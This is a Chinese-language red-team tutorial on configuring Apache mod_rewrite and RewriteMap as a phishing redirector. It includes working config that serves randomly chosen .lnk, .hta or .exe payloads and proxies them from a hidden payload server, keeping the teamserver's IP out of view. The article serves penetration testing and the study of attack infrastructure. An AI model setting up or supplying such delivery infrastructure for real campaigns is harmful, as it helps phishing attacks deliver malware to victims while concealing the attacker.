apache中RewriteMap方法允许外部的程序比如脚本,数据库,文本文件等映射到服务器内部。在官方文档中使用最多的例子:如果一家网店的url结构想从item-1234到iphone-7-white,那么网站管理员无需更改任何硬编码的代码,只需当访问item-1234时,apache来提供iphone-7-white这一url。RewriteMap提供了大量修改这些资源的方法。我们会使用RewriteMap从一个文本文档中提取的payload转换为URI,并且当被访问时,进行302跳转,使目标能够访问到我们随机的payload文件。
下图就是攻击的主要内容:
环境配置
apache环境需要更改一些设置以便服务器环境支持mod_rewrite以及RewriteMap方法。这些设置的详细信息都在我之前的一篇文章中写过。长话短说,打开位于/etc/apache2/的apache2.conf文件,通过增加以下代码重写htaccess文件:
<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory>
如果你的重定向器的网站根目录不是默认的/var/www,你需要去更改一下AllowOverride的响应目录。
在配置服务器的文档中,我们需要在底部添加:
RewriteMap payloads "rnd:/var/www/payloads.txt"
这一行代码就告诉mod_rewrite方法,当我们使用RewriteMap调用payload变量时,就会从/var/www/payloads.txt提取。apache用户必须具有读取这一文件的权限。并且应该储存在web根目录之外,比如在这个例子中,就是在/var/www/html目录之外。
创建/var/www/payloads.txt文件,并且在文件中写入如下内容:
windows payload.lnk|payload.hta|payload.exe
上述代码中windows就是触发的key,以及payload.link,payload.hta,payload.exe则是变量。当RewriteMap函数被调用时,此时就会提供windows这个Key,然后通过管道符号分割的变量就会随机选取一个。我们可以增加多次payload名字,以便它可以更大概率的输出。这个文件可以立即更新,所以修改这个文件之后无需重启apache服务。如果你确定有的payload不起作用了,你完全可以在payload.txt中删除。
通过以下命令开启依赖的mod_rewrite模块,重启apache服务。
a2enmod rewrite proxy proxy_http && service apache2 restart
启动的最后一步就是创建htaccess文件,比如在/var/www/html/.htaccess文件写入如下内容:
RewriteEngine On RewriteCond %{REQUEST_URI} ^/payload/?$ RewriteRule ^.*$ /${payloads:windows} [L,R=302] RewriteCond %{REQUEST_URI} ^/payload.(exe|lnk|hta) RewriteRule ^.*$ http://192.168.188.134%{REQUEST_URI} [P]
以下是规则的详细划分:Enable the rewrite engine
If the request’s URI starts with ‘payload’ with an optional trailing slash at the end of the URI, rewrite the entire request to a random value pulled from the RewriteMap file linked to "payloads" with the key "windows" This is a temporary redirect and the last rule that should be evaluated/applied to the request. If the request’s URI starts with ‘payload’ and ends with the file extension exe, lnk, or hta, rewrite the entire request to serve the request URI from IP 192.168.188.134 (the payload server IP), and keep the user's address bar the same (obscure the teamserver's IP).
现在,服务端已经完全配置好了。
当用户连续两次访问http://spoofdomain.com/payload时,第一次会提供可执行文件,第二次会提供html 应用程序(HTA)。
总结
Apache mod_rewrite为渗透测试人员以及红队提供了丰富的选择,这一方法加强了他们的攻击范围以及钓鱼攻击的成功率。这个技术可以和别的技术结合起来,会获得更大的效果。用户点击后可以尽可能的收集更多的信息。